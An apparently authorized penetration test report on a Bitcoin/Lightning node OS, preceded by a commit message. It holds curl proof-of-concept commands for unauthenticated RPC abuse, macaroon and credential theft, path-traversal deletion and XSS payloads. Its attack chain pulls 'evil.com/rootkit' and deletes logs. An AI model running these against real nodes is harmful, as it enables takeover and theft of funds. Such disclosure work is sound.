Rootless podman migration (TASK-11): - Remove sudo from all podman calls in PodmanClient + 8 backend files - Remove sudo from all podman/docker calls in deploy script - Restore full systemd security hardening: NoNewPrivileges, RestrictAddressFamilies, MemoryDenyWriteExecute, RestrictRealtime, RestrictNamespaces, RestrictSUIDSGID, SystemCallFilter, ProtectSystem=strict - Enable loginctl linger for rootless container persistence - Remove Ollama from auto-deploy (marketplace-only) Session & auth hardening: - Increase MAX_CONCURRENT_SESSIONS 20→50 (prevents eviction storms) - Debounced 401 redirect in rpc-client.ts (prevents redirect storms) Boot stability: - optimize-debian.sh: adds chrony, swap, removes policy-rc.d - deploy script: pre-restart chrony + swap setup - ISO build: chrony package, swap file creation - BootScreen: no longer clears localStorage (prevents splash replay) - RootRedirect: sole owner of localStorage clearing on server ready UI fixes: - Sidebar opacity default changed from 0→visible (fixes missing sidebar after page-persistence login without entrance animation) - Console.log/error wrapped in import.meta.env.DEV guards - Remove unused route import from RootRedirect Beta tracking: - CLAUDE.md: beta freeze protocol added - MASTER_PLAN.md: TASK-11, TASK-17, phase structure - BETA-PROGRESS.md: initial tracking doc - Tagged v1.2.0-alpha.1 as pre-rootless baseline Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
33 KiB
Security Assessment Report — Archipelago Node OS
Target: http://192.168.1.228 Assessment Period: 2026-03-06 through 2026-03-18 Assessor: Authorized internal penetration test (owner-approved) Classification: CONFIDENTIAL
1. Executive Summary
An authorized penetration test was conducted against the Archipelago Bitcoin Node OS instance at 192.168.1.228. The assessment covered the full attack surface: 20+ open TCP ports, 30+ nginx proxy routes, 150+ JSON-RPC methods, WebSocket endpoints, and direct service ports hosting Bitcoin, Lightning, and 30 containerized applications.
Overall Risk Rating: CRITICAL
The system has no functional authentication. The backend verifies passwords but creates no server-side session — every RPC endpoint, WebSocket connection, and internal service is accessible to any device on the LAN without credentials. This single architectural flaw, combined with unauthenticated exposure of LND admin macaroons and Bitcoin RPC access via hardcoded credentials, means any LAN-adjacent attacker has complete control over the node's financial infrastructure.
Findings by Severity
| Severity | Count | Categories |
|---|---|---|
| Critical | 8 | Auth bypass (4), credential exposure (2), SSRF+RCE (1), path traversal (1) |
| High | 10 | Brute force (1), access control (3), CORS (2), SSRF (2), headers (1), default creds (1) |
| Medium | 6 | Auth (2), XSS (1), info disclosure (2), API proxy (1) |
| Low | 3 | Reflection (1), log injection (1), info disclosure (1) |
| Total | 27 |
Top 3 Recommendations
-
Implement server-side session management immediately. Wire the existing
core/startos/src/middleware/auth.rssession middleware into the RPC handler. This single fix addresses 15 of 27 findings. -
Lock down financial service access. Require authentication on
/lnd-connect-info, remove hardcoded Bitcoin RPC credentials (archipelago:archipelago123), change Grafana default password (admin:admin), and bind all service ports to127.0.0.1. -
Implement input validation on all RPC parameters.
package.uninstallaccepts path traversal (../../),package.installpulls from arbitrary registries, andcontainer-installreads arbitrary filesystem paths. Apply the existingvalidate_app_id()whitelist to all package operations.
2. Scope and Methodology
Scope
| Component | In Scope | Notes |
|---|---|---|
| Nginx reverse proxy (port 80/443) | Yes | All locations, security headers, proxy routes |
| Rust backend (port 5678) | Yes | All 150+ RPC methods, HTTP endpoints, WebSocket |
| Vue 3 frontend | Yes | Client-side auth, XSS sinks, postMessage handlers |
| Direct service ports (20+) | Yes | Grafana, LND, Bitcoin UI, NPM, Portainer, etc. |
| Containerized services (30) | Limited | Default credentials, port exposure, auth bypass |
| SSH (port 22) | Out of scope | — |
| Denial of service | Out of scope | — |
Tools and Techniques
- Reconnaissance: Nmap 7.98 (service enumeration, version detection), WhatWeb (technology fingerprinting), manual HTTP probing
- Source code review: Full Rust backend (
core/), Vue frontend (neode-ui/src/), nginx configs, systemd service files - Live exploitation: curl-based proof-of-concept against all RPC endpoints, WebSocket testing via Node.js client, browser console testing
- Authentication testing: Session analysis, brute force validation, CORS policy testing, cookie analysis
- Injection testing: Path traversal, SSRF via Tor proxy, container image injection, log injection, XSS payload storage
Limitations
- Individual containerized applications were not deeply tested beyond default credential checks and port exposure
- SSH was not tested (out of scope)
- No denial-of-service testing performed
- Testing limited to LAN access (no internet-facing assessment)
- Some client-side findings (postMessage origin bypass) confirmed via source review only, not live exploitation
3. Findings Summary Table
Exploitation-Confirmed Findings (21)
| ID | Severity | Type | Endpoint | OWASP |
|---|---|---|---|---|
| AUTH-001 | Critical | No session management | auth.login |
A07:2021 |
| AUTH-002 | Critical | All RPC unauthenticated | All 150+ RPC methods | A01:2021 |
| AUTH-005 | Critical | Frontend-only auth | localStorage |
A07:2021 |
| AUTH-007 | Critical | Unauthenticated WebSocket | WS /ws/db |
A01:2021 |
| SSRF-004 | Critical | Arbitrary container pull + RCE | package.install |
A10:2021 |
| INJ-002 | Critical | Path traversal → rm -rf |
package.uninstall |
A03:2021 |
| AUTH-003 | High | No brute force protection | auth.login |
A07:2021 |
| AUTH-008 | High | P2P message injection | /archipelago/node-message |
A03:2021 |
| AUTH-009 | High | CORS wildcard | Port 5678 all endpoints | A05:2021 |
| AUTH-011 | High | LND proxy unauthenticated | /proxy/lnd/* |
A01:2021 |
| XSS-004 | High | Missing security headers | All pages (nginx) | A05:2021 |
| XSS-007 | High | CORS enables cross-origin attacks | Combined with AUTH-009 | A05:2021 |
| SSRF-001 | High | Blind SSRF + port injection | node-check-peer |
A10:2021 |
| SSRF-002 | High | Outbound SSRF + identity leak | node-send-message |
A10:2021 |
| AUTH-006 | Medium | No-op logout | auth.logout |
A07:2021 |
| AUTH-012 | Medium | Unauthenticated container logs | /api/container/logs |
A01:2021 |
| XSS-001 | Medium | Stored XSS (Vue-escaped) | /archipelago/node-message |
A03:2021 |
| INJ-001 | Medium | File existence oracle | container-install |
A01:2021 |
| INJ-006 | Medium | Unauthenticated AI API proxy | /aiui/api/claude/* |
A01:2021 |
| XSS-005 | Low | Echo reflects arbitrary input | echo method |
A03:2021 |
| INJ-007 | Low | Log injection | /archipelago/node-message |
A09:2021 |
Recon-Confirmed Findings (6)
| ID | Severity | Type | Endpoint | OWASP |
|---|---|---|---|---|
| RECON-001 | Critical | LND admin macaroon exposure | GET /lnd-connect-info |
A01:2021 |
| RECON-002 | Critical | Bitcoin RPC hardcoded creds | POST :8334/bitcoin-rpc/ |
A05:2021 |
| RECON-003 | High | Grafana default admin:admin | GET :3000/api/org |
A07:2021 |
| RECON-004 | High | Content catalog leak | GET /content |
A01:2021 |
| RECON-005 | High | NPM admin on LAN | Port 81 (setup:false) | A05:2021 |
| RECON-006 | Medium | Service ports bypass auth | Ports 3000,3001,7777,8080,9000 | A05:2021 |
4. Detailed Findings
AUTH-001 — No Server-Side Session Management [CRITICAL]
CVSS 3.1: 9.8 | OWASP: A07:2021 — Identification and Authentication Failures
The auth.login RPC method verifies the password against a bcrypt hash but returns null on success. No session token, cookie, or JWT is created. There is zero server-side session state. Session management code exists in core/startos/src/middleware/auth.rs (cookie-based sessions, SHA-256 token hashing, rate limiting) but is not wired into the core/archipelago/ request pipeline.
Evidence:
curl -sv -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","id":1,"method":"auth.login","params":{"password":"test123test"}}'
< HTTP/1.1 200 OK
< Server: nginx/1.22.1
< Content-Type: application/json
< Content-Length: 78
< Connection: keep-alive
{"result":null,"error":{"code":-1,"message":"Password Incorrect","data":null}}
No Set-Cookie header present. Even on a correct login, the response is {"result":null,"error":null} — no session token. The password verification is cosmetic.
Impact: This is the root cause of the majority of findings. All 150+ RPC methods are permanently accessible without authentication. The login endpoint is a no-op.
Remediation: Wire core/startos/src/middleware/auth.rs into the HTTP handler. Add session creation to auth.login on success, and session validation middleware before RPC dispatch.
AUTH-002 — All Sensitive RPC Endpoints Callable Without Authentication [CRITICAL]
CVSS 3.1: 9.8 | OWASP: A01:2021 — Broken Access Control
Due to AUTH-001, all 150+ RPC methods accept requests without any authentication. The RPC handler dispatches directly to method handlers via a flat match statement with no middleware.
Evidence — Node Identity Leak:
curl -s -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","id":2,"method":"node.did","params":{}}'
{
"result": {
"did": "did:key:z6MkmkSBSqcKJW7T7iQbFJ8JhHCDSoFi8fSpRiktQfi6E5R2",
"pubkey": "6c682474d91a2272ed1e7cddfacff7d0db1cd7f494e65a03a6a3a0c1de0b09f9"
}
}
Evidence — Cryptographic Key Signing Oracle:
curl -s -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","id":11,"method":"node.signChallenge","params":{"challenge":"pentest-proof-of-concept"}}'
{
"result": {
"signature": "bb10f455fe99794be4e14c233511fe2abc9e019490902b7407835767ff1b0f281e591088be4b434370a52521db741b2598796b9fda2ff24294658e02fc3d040a"
}
}
Evidence — System Onboarding Reset (system takeover):
curl -s -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","id":17,"method":"auth.resetOnboarding","params":{}}'
{"result": true, "error": null}
Evidence — Full Peer Network Exposure:
curl -s -X POST http://192.168.1.228/rpc/v1 \
-d '{"jsonrpc":"2.0","id":5,"method":"node-list-peers","params":{}}'
{
"result": {
"peers": [
{
"onion": "5sgfyeax3qolikxqxez5qidoj7hzgbi67qxihdadtebps2yqfre2avqd.onion",
"pubkey": "dea8d3cbca0fbe041357c8639a4dad3abbf32fc734e8fc0bd82a562d5e6df51d"
},
{
"onion": "a36eaqmxsdeept7ogodaypdw6hpmoqfwzxc5gcchkci4tcqixkpnntad.onion",
"pubkey": "6c682474d91a2272ed1e7cddfacff7d0db1cd7f494e65a03a6a3a0c1de0b09f9"
}
]
}
}
Confirmed unauthenticated methods (partial list):
| Category | Methods |
|---|---|
| Container control | container-install, container-start, container-stop, container-remove, container-list |
| Package management | package.install, package.start, package.stop, package.restart, package.uninstall |
| Cryptographic ops | node.signChallenge, node.createBackup |
| Identity exposure | node.did, node.nostr-pubkey, node.tor-address |
| P2P operations | node-add-peer, node-remove-peer, node-send-message, node-list-peers, node-check-peer |
| Auth management | auth.changePassword, auth.resetOnboarding, auth.logout |
| Bitcoin/Lightning | bitcoin.getinfo, lnd.getinfo, lnd.sendcoins, lnd.payinvoice |
Impact: An unauthenticated attacker on the LAN can: leak the node's DID and Nostr pubkey; expose Tor onion addresses of all peers; sign arbitrary data with the node's ed25519 private key (identity impersonation); reset onboarding state (system takeover); control the full container lifecycle; and potentially send Bitcoin/Lightning transactions.
RECON-001 — Unauthenticated LND Admin Macaroon Exposure [CRITICAL]
CVSS 3.1: 9.8 | OWASP: A01:2021 — Broken Access Control
GET /lnd-connect-info returns the full LND admin macaroon without any authentication. CORS is set to Access-Control-Allow-Origin: *.
Evidence:
curl -sk http://192.168.1.228/lnd-connect-info
{
"cert_base64url": "MIIC...",
"grpc_port": 10009,
"macaroon_base64url": "AgED...",
"rest_port": 8080
}
Macaroon permissions: address:rw, info:rw, invoices:rw, macaroon:generate/rw, message:rw, offchain:rw, onchain:rw, peers:rw, signer:generate/read.
Impact: Any device on the LAN can retrieve the admin macaroon and gain complete control of the Lightning node — send all funds, drain channels, open/close channels, generate new macaroons, sign messages. This is equivalent to exposing the root private key for the Lightning wallet.
Remediation: Require session authentication on /lnd-connect-info. Use read-only macaroon for status checks; only expose admin macaroon via authenticated RPC with explicit user confirmation.
RECON-002 — Bitcoin RPC Full Access via Hardcoded Credentials [CRITICAL]
CVSS 3.1: 9.1 | OWASP: A05:2021 — Security Misconfiguration
Port 8334 proxies Bitcoin Core RPC with hardcoded Basic Auth credentials archipelago:archipelago123 stored in a version-controlled nginx config file (docker/bitcoin-ui/nginx.conf).
Evidence:
curl -sk -X POST http://192.168.1.228:8334/bitcoin-rpc/ \
-u archipelago:archipelago123 \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"1.0","id":"test","method":"getblockchaininfo","params":[]}'
{"result":{"chain":"main","blocks":941146,...},"error":null}
Confirmed: mainnet node, block 941146, 828GB on disk.
Impact: Full Bitcoin Core RPC access on a live mainnet node. If wallet is loaded, attacker can call sendtoaddress, dumpprivkey, listunspent, or any Bitcoin RPC method. Credentials are committed to version control.
Remediation: Remove hardcoded credentials from nginx config. Proxy Bitcoin RPC through the authenticated Rust backend only. Bind port 8334 to 127.0.0.1. Generate unique RPC credentials per installation.
AUTH-005 — Frontend-Only Authentication Enforcement [CRITICAL]
CVSS 3.1: 9.8 | OWASP: A07:2021 — Identification and Authentication Failures
Authentication exists only in the Vue.js frontend. The auth state is localStorage.getItem('neode-auth') === 'true'. Session "validation" calls server.echo — an unprotected endpoint that always succeeds — creating a circular trust loop.
Impact: localStorage.setItem('neode-auth','true'); location.href='/dashboard' in the browser console grants full UI access without a password.
AUTH-007 — Unauthenticated WebSocket Full State Dump [CRITICAL]
CVSS 3.1: 8.6 | OWASP: A01:2021 — Broken Access Control
The WebSocket endpoint at /ws/db accepts connections without authentication and immediately streams 20,402 bytes of complete system state.
Evidence:
curl -sv -H "Upgrade: websocket" -H "Connection: Upgrade" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
-H "Sec-WebSocket-Version: 13" http://192.168.1.228/ws/db
Response: 101 Switching Protocols, then full state dump:
{
"rev": 43,
"data": {
"server-info": {
"id": "6c682474d91a2272",
"version": "0.1.0",
"pubkey": "6c682474d91a2272ed1e7cddfacff7d0db1cd7f494e65a03a6a3a0c1de0b09f9",
"status-info": { "restarting": false, "shutting-down": false }
},
"package-data": {
"homeassistant": { "state": "running" },
"fedimint": { "state": "running" },
"photoprism": { "state": "running" }
}
}
}
Impact: Any LAN client receives: node identity, all 30 installed packages, running states, internal ports, and real-time updates.
SSRF-004 — Arbitrary Container Image Pull + Execution [CRITICAL]
CVSS 3.1: 9.8 | OWASP: A10:2021 — Server-Side Request Forgery
The package.install RPC method accepts an arbitrary dockerImage parameter and executes podman pull to any registry without authentication, allowlisting, or image signature verification.
Evidence:
curl -s -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"method":"package.install","params":{"id":"pentest-ssrf-probe","dockerImage":"localhost:1/nonexistent:latest"}}'
{
"error": {
"code": -1,
"message": "Failed to pull image: Trying to pull localhost:1/nonexistent:latest...\ntime=\"2026-03-06T02:34:07Z\" level=warning msg=\"Failed, retrying in 1s ... (1/3). Error: initializing source docker://localhost:1/nonexistent:latest: pinging container registry localhost:1: Get \\\"https://localhost:1/v2/\\\": dial tcp [::1]:1: connect: connection refused\"\n..."
}
}
Impact: Unauthenticated arbitrary container image pull (SSRF) + potential execution (RCE). Error output leaks internal IPs and retry behavior.
INJ-002 — Path Traversal in package.uninstall [CRITICAL]
CVSS 3.1: 9.1 | OWASP: A03:2021 — Injection
The package.uninstall handler constructs a filesystem path from the id parameter without sanitization. Path traversal sequences resolve to arbitrary directories for rm -rf.
Evidence:
curl -s -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"method":"package.uninstall","params":{"id":"../../tmp/pentest-traversal-probe"}}'
{"result":{"status":"uninstalled"},"error":null}
Path /var/lib/archipelago/../../tmp/pentest-traversal-probe → /tmp/pentest-traversal-probe — traversal accepted, success returned.
Impact: Unauthenticated arbitrary directory deletion. Could target /etc/nginx, /opt/archipelago, /var/log.
AUTH-003 — No Brute Force Protection on Login [HIGH]
CVSS 3.1: 7.5 | OWASP: A07:2021 — Identification and Authentication Failures
Evidence:
for i in $(seq 1 10); do
curl -s -o /dev/null -w "Attempt $i: HTTP %{http_code}\n" \
-X POST http://192.168.1.228/rpc/v1 \
-d "{\"method\":\"auth.login\",\"params\":{\"password\":\"wrong$i\"}}"
done
All 10 rapid-fire attempts returned HTTP 200. No lockout, delay, or CAPTCHA. Direct backend access (port 5678) bypasses nginx rate limiting.
AUTH-008 — Unauthenticated P2P Message Injection + Spoofing [HIGH]
CVSS 3.1: 7.5 | OWASP: A03:2021 — Injection
Evidence:
curl -s -X POST http://192.168.1.228/archipelago/node-message \
-H 'Content-Type: application/json' \
-d '{"from_pubkey":"PENTEST_PROBE_KEY","message":"pentest-verification-message"}'
Response: {"ok":true} — message stored and displayed in UI as if from legitimate peer.
Impact: Social engineering, phishing, impersonation via spoofed peer messages. No signature verification.
AUTH-009 — CORS Wildcard on Backend Port 5678 [HIGH]
CVSS 3.1: 7.4 | OWASP: A05:2021 — Security Misconfiguration
Evidence:
curl -s -D- -X POST http://192.168.1.228:5678/archipelago/node-message \
-H 'Origin: http://evil.com' \
-d '{"from_pubkey":"cors-test","message":"cors-test"}'
Response: access-control-allow-origin: *
Confirmed on: /archipelago/node-message, /api/container/logs, /electrs-status, /proxy/lnd/*
Impact: Any website can silently interact with the backend via cross-origin requests, turning LAN-only vulnerabilities into remote drive-by attacks.
AUTH-011 — Unauthenticated LND Proxy [HIGH]
CVSS 3.1: 7.5 | OWASP: A01:2021 — Broken Access Control
/proxy/lnd/* on port 5678 is reachable without authentication, CORS wildcard set. Currently blocked by TLS mismatch but auth/CORS issues confirmed.
RECON-003 — Grafana Default Credentials [HIGH]
CVSS 3.1: 7.2 | OWASP: A07:2021 — Identification and Authentication Failures
Evidence:
curl -sk http://192.168.1.228:3000/api/org -u admin:admin
{"id":1,"name":"Main Org.","address":{...}}
Grafana 10.2.0 — full admin access with default admin:admin.
RECON-004 — Unauthenticated Content Catalog Exposure [HIGH]
OWASP: A01:2021 — Broken Access Control
GET /content returns complete file catalog (filenames, sizes, MIME types, UUIDs) without authentication. Personal music files with full paths disclosed. UUIDs enable direct download via /content/{id}.
RECON-005 — Nginx Proxy Manager Direct LAN Access [HIGH]
OWASP: A05:2021 — Security Misconfiguration
Port 81 serves NPM admin interface on LAN. API returns "setup": false — potential initial admin takeover. NPM controls all reverse proxy routing.
XSS-004 — Missing Security Headers [HIGH]
OWASP: A05:2021 — Security Misconfiguration
Evidence:
HTTP/1.1 200 OK
Server: nginx/1.22.1
Content-Type: text/html
Missing: CSP, X-Frame-Options, X-Content-Type-Options, HSTS, Referrer-Policy. No defense-in-depth against XSS or clickjacking.
XSS-007 — CORS Enables Cross-Origin Attack Delivery [HIGH]
OWASP: A05:2021 — Security Misconfiguration
CORS wildcard on port 5678 combined with no authentication enables any website to exploit all findings remotely. An attacker's webpage can inject messages, read logs, and access services.
SSRF-001 — Blind SSRF via node-check-peer with Port Injection [HIGH]
CVSS 3.1: 7.3 | OWASP: A10:2021 — Server-Side Request Forgery
Evidence:
curl -s -X POST http://192.168.1.228/rpc/v1 \
-d '{"method":"node-check-peer","params":{"onion":"aaaa...aaa.onion:9999"}}'
Port injection accepted. Boolean reachable response leaks service availability through Tor.
SSRF-002 — SSRF via node-send-message [HIGH]
CVSS 3.1: 6.5 | OWASP: A10:2021 — Server-Side Request Forgery
Evidence:
curl -s -X POST http://192.168.1.228/rpc/v1 \
-d '{"method":"node-send-message","params":{"onion":"aaaa...aaa","message":"ssrf-probe"}}'
Forced outbound HTTP POST via Tor. Error messages leak full URL, proxy status. Request body includes node's public key.
AUTH-006 — No-Op Logout [MEDIUM]
Logout returns null — no session exists to invalidate.
AUTH-012 — Unauthenticated Container Log Access [MEDIUM]
Container logs accessible on port 5678 without authentication. CORS wildcard set. Logs may contain credentials and configuration data.
XSS-001 — Stored XSS Payloads in P2P Messages [MEDIUM]
Evidence:
curl -X POST http://192.168.1.228/archipelago/node-message \
-d '{"from_pubkey":"\" onfocus=alert(1) autofocus=\"","message":"<img src=x onerror=alert(document.cookie)>"}'
Payloads stored verbatim server-side. Currently mitigated by Vue auto-escaping. No server-side sanitization — defense-in-depth absent.
INJ-001 — File Existence Oracle via container-install [MEDIUM]
Different error messages for existing vs. non-existing files: "Failed to parse manifest" (exists) vs. "Failed to read manifest file" (doesn't exist). Enables unauthenticated filesystem enumeration.
INJ-006 — Unauthenticated Claude/OpenRouter API Proxy [MEDIUM]
/aiui/api/claude/* and /aiui/api/openrouter/* proxy to AI APIs using the owner's credentials without authentication. Financial impact via credit consumption.
RECON-006 — Service Ports Bypass Authentication [MEDIUM]
Ports 3000, 3001, 7777, 8080, 8082, 8083, 8085, 8888, 9000 directly accessible, bypassing nginx security headers, rate limiting, and session validation.
XSS-005 — Echo Endpoint Reflects Arbitrary Input [LOW]
echo method reflects arbitrary content in JSON response. Low risk due to application/json Content-Type.
INJ-007 — Log Injection via P2P Messages [LOW]
Newline characters stored in message fields without sanitization. Could create fake log entries.
Info Disclosure — Version and Service Information [LOW]
| Source | Information Exposed |
|---|---|
Server header |
nginx/1.22.1 |
| Port 81 | NPM 2.14.0 |
Port 3000 /api/health |
Grafana 10.2.0, commit hash |
| Port 8080 TLS cert | Internal IPs, Tailscale IPs, link-local addresses |
/electrs-status |
Blockchain sync 99%, index 124.8GB |
| Error messages | "Password Incorrect" confirms account exists |
5. Critical Attack Chain
Full system compromise from any LAN device, zero authentication required:
# 1. Steal Lightning wallet credentials
curl -s http://TARGET/lnd-connect-info
# Returns: admin macaroon, TLS cert, gRPC/REST ports
# 2. Access Bitcoin RPC with hardcoded credentials
curl -s -X POST http://TARGET:8334/bitcoin-rpc/ -u archipelago:archipelago123 \
-d '{"method":"getblockchaininfo","params":[]}'
# 3. Dump full system state
wscat -c ws://TARGET/ws/db
# 4. Sign arbitrary data as the node
curl -s http://TARGET/rpc/v1 \
-d '{"method":"node.signChallenge","params":{"challenge":"attacker-controlled-data"}}'
# 5. Execute attacker-controlled container
curl -s http://TARGET/rpc/v1 \
-d '{"method":"package.install","params":{"id":"backdoor","dockerImage":"evil.com/rootkit:latest"}}'
# 6. Delete evidence via path traversal
curl -s http://TARGET/rpc/v1 \
-d '{"method":"package.uninstall","params":{"id":"../../var/log"}}'
# 7. Lock out legitimate user
curl -s http://TARGET/rpc/v1 -d '{"method":"auth.resetOnboarding"}'
Result: Complete node takeover — Lightning funds drained, Bitcoin RPC accessed, identity stolen, arbitrary code executing, logs deleted, owner locked out.
6. Recommendations
Priority 0 — Immediate (before any user testing)
| # | Action | Findings Addressed | Effort |
|---|---|---|---|
| 1 | Wire session middleware into RPC handler. Integrate core/startos/src/middleware/auth.rs. Create sessions on login, validate on every request. |
AUTH-001/002/005/006/007/008/012, SSRF-001/002/004, INJ-001/002, XSS-001, INJ-007 | Medium |
| 2 | Require auth on /lnd-connect-info. Remove CORS wildcard. |
RECON-001 | Small |
| 3 | Remove hardcoded Bitcoin RPC credentials. Bind port 8334 to localhost. | RECON-002 | Small |
| 4 | Validate package_id against ^[a-z0-9-]+$ whitelist. The validate_app_id() function already exists. |
INJ-002 | Small |
| 5 | Add registry allowlist to package.install. Require Cosign image signature verification. |
SSRF-004 | Small |
| 6 | Change Grafana default password. | RECON-003 | Small |
Priority 1 — Short-term (within 1 week)
| # | Action | Findings Addressed | Effort |
|---|---|---|---|
| 7 | Bind all service ports to 127.0.0.1. Grafana, NPM, LND, Bitcoin UI, Portainer — all via authenticated nginx only. | RECON-003/005/006, AUTH-009/011 | Medium |
| 8 | Add brute force protection at the application level (5 failures → lockout with backoff). | AUTH-003 | Small |
| 9 | Require cryptographic signature verification on /archipelago/node-message. |
AUTH-008, XSS-001, INJ-007 | Medium |
| 10 | Replace CORS * with explicit origins. Block direct port 5678 access via firewall. |
AUTH-009, XSS-007, AUTH-012 | Small |
| 11 | Add security headers to nginx (CSP, X-Frame-Options, HSTS, etc.). server_tokens off. |
XSS-004 | Small |
| 12 | Apply validate_onion() to node-check-peer. Strip port numbers. |
SSRF-001 | Small |
| 13 | Add auth to /aiui/api/ nginx proxy. |
INJ-006 | Small |
Priority 2 — Medium-term (within 1 month)
| # | Action | Findings Addressed | Effort |
|---|---|---|---|
| 14 | Stop running backend as root. Create dedicated service account. | Amplification factor | Medium |
| 15 | Disable dev mode in production (ARCHIPELAGO_DEV_MODE=false). |
Amplification factor | Small |
| 16 | Sanitize P2P message content server-side (HTML entity encoding). | XSS-001 | Small |
| 17 | Normalize error messages in container-install (prevent oracle). |
INJ-001 | Small |
| 18 | Add federation peer authentication (signature verification). | Source analysis | Medium |
| 19 | Migrate CSP to nonce-based (remove unsafe-inline). |
XSS-004 | Large |
| 20 | Generate random session secret on first boot (replace CHANGE_ME_ON_FIRST_RUN). |
Defense-in-depth | Small |
7. Positive Security Controls
The following controls are well-implemented and should be maintained:
| Control | Implementation | Rating |
|---|---|---|
| Password hashing | bcrypt cost 12 | Strong |
| TOTP 2FA | Argon2id + ChaCha20 key encryption, constant-time comparison, replay protection | Excellent |
| Session token generation | 256-bit random, SHA-256 server-side storage | Strong |
| Cookie security | HttpOnly, SameSite=Strict (when sessions exist) | Strong |
| App ID validation | validate_app_id() whitelist [a-z0-9-] |
Good (where applied) |
| Docker image validation | is_valid_docker_image() rejects shell metacharacters |
Good |
| Container manifest path | .. check + canonicalize() + boundary check |
Good |
| Path traversal (nginx) | /../ and %2f..%2f blocked, .git/.env not exposed |
Good |
| Rate limiting (nginx) | 20r/s burst 40 on /rpc/v1 |
Present |
| Rate limiting (backend) | Per-method limits on financial ops, auth changes | Present |
| CORS (nginx main) | Only allows configured origins on /rpc/v1 |
Good |
| Secrets at rest | AES-256-GCM encryption | Strong |
| Container security | readonly_root, capability dropping, non-root users |
Good defaults |
| Login error messages | "Password Incorrect" (consider generic "Invalid credentials") | Acceptable |
8. Appendix
A. Technologies Detected
| Layer | Technology | Version |
|---|---|---|
| OS | Debian 12 (Bookworm) | x86_64 |
| Web Server | nginx | 1.22.1 |
| Reverse Proxy (containers) | OpenResty (Nginx Proxy Manager) | 2.14.0 |
| Backend | Rust (custom binary) | 0.1.0 |
| Frontend | Vue 3 + TypeScript + Vite 7 | — |
| Container Runtime | Podman (rootless) | — |
| Lightning | LND | auto-generated TLS cert |
| Bitcoin | Bitcoin Core/Knots | mainnet, block 941146 |
| Monitoring | Grafana | 10.2.0 |
| Uptime | Uptime Kuma | — |
| Search | SearXNG | 2026.2.3 |
| Password Manager | Vaultwarden | Rocket server |
| SSH | OpenSSH | 9.2p1 |
B. Open Port Inventory
| Port | Service | Auth Required | Direct LAN Access |
|---|---|---|---|
| 22 | SSH | Yes (key/password) | Yes |
| 80 | nginx (main UI) | No (frontend-only) | Yes |
| 81 | Nginx Proxy Manager | No (setup:false) | Yes |
| 443 | nginx (HTTPS, self-signed) | No | Yes |
| 3000 | Grafana | No (admin:admin) | Yes |
| 3001 | Uptime Kuma | Session | Yes |
| 5678 | Rust backend | No | Yes |
| 7777 | IndeedHub | Nostr NIP-07 | Yes |
| 8080 | LND REST | TLS + Macaroon | Yes |
| 8081 | LND Web UI | — | Yes |
| 8082 | Vaultwarden | Session | Yes |
| 8083 | FileBrowser | Session | Yes |
| 8085 | Nextcloud | Session | Yes |
| 8333 | Bitcoin Core P2P | Protocol | Yes |
| 8334 | Bitcoin UI / RPC proxy | Basic Auth (hardcoded) | Yes |
| 8888 | SearXNG | None | Yes |
| 9000 | Portainer | Session | Yes |
| 10009 | LND gRPC | TLS + Macaroon | Yes |
| 50002 | ElectrumX UI | — | Yes |
C. Container Inventory (30 — enumerated without authentication)
bitcoin-knots, tailscale, filebrowser, bitcoin-ui, lnd, homeassistant, searxng, portainer, archy-mempool-db, grafana, onlyoffice, archy-nbxplorer, archy-btcpay-db, mempool-electrs, nginx-proxy-manager, nextcloud, vaultwarden, uptime-kuma, immich_postgres, immich_redis, immich_server, jellyfin, photoprism, archy-lnd-ui, archy-electrs-ui, mempool-api, archy-mempool-web, btcpay-server, archy-tor, fedimint
D. Findings Not Exploitable (excluded from findings)
| ID | Description | Reason |
|---|---|---|
| AUTH-004 | Default credentials (password123) |
User changed password |
| AUTH-010 | Weak initial password policy | Setup already complete |
| XSS-002/003 | postMessage origin bypass | Source review only, not live exploited |
| XSS-006 | test-aiui.html postMessage | Test file, minimal impact |
| SSRF-003 | LND proxy data access | TLS mismatch blocks |
| SSRF-005 | marketplace.get URL fetch | Dormant code, not compiled |
| INJ-003 | Volume mount via bundled-app-start | Requires valid app data |
| INJ-005 | Argument injection via package.stop | Ambiguous result |
E. Root Cause Analysis
AUTH-001 (No session management) ← ROOT CAUSE
│
├── AUTH-002 (All endpoints unauthenticated)
│ ├── AUTH-005 (Frontend-only auth)
│ ├── AUTH-007 (WebSocket unauthenticated)
│ ├── AUTH-008 (Message injection)
│ ├── AUTH-011 (LND proxy unauthenticated)
│ ├── AUTH-012 (Container logs unauthenticated)
│ ├── SSRF-001 (Blind SSRF)
│ ├── SSRF-002 (Outbound SSRF)
│ ├── SSRF-004 (Arbitrary container pull)
│ ├── INJ-001 (File oracle)
│ ├── INJ-002 (Path traversal)
│ ├── XSS-001 (Stored XSS)
│ └── INJ-007 (Log injection)
│
├── AUTH-003 (No brute force protection)
└── AUTH-006 (No-op logout)
RECON-001/002/003 (Credential exposure) — INDEPENDENT of auth
AUTH-009/XSS-007 (CORS wildcard) — AMPLIFIES all above to remote
XSS-004 (Missing headers) — REMOVES defense-in-depth
RECON-005/006 (Port exposure) — BYPASSES nginx protections
Fixing AUTH-001 alone addresses 15 of 27 findings. Combined with credential lockdown (RECON-001/002/003) and port binding (RECON-005/006), 23 of 27 findings are resolved or significantly mitigated.
F. OWASP Top 10 Mapping
| OWASP 2021 | Finding Count | Findings |
|---|---|---|
| A01 — Broken Access Control | 8 | AUTH-002/005/007/011/012, RECON-001/004, INJ-001 |
| A03 — Injection | 5 | INJ-002/007, AUTH-008, XSS-001/005 |
| A05 — Security Misconfiguration | 7 | AUTH-009, XSS-004/007, RECON-002/005/006, INJ-006 |
| A07 — Auth Failures | 4 | AUTH-001/003/006, RECON-003 |
| A09 — Logging & Monitoring | 1 | INJ-007 |
| A10 — SSRF | 3 | SSRF-001/002/004 |
End of Report
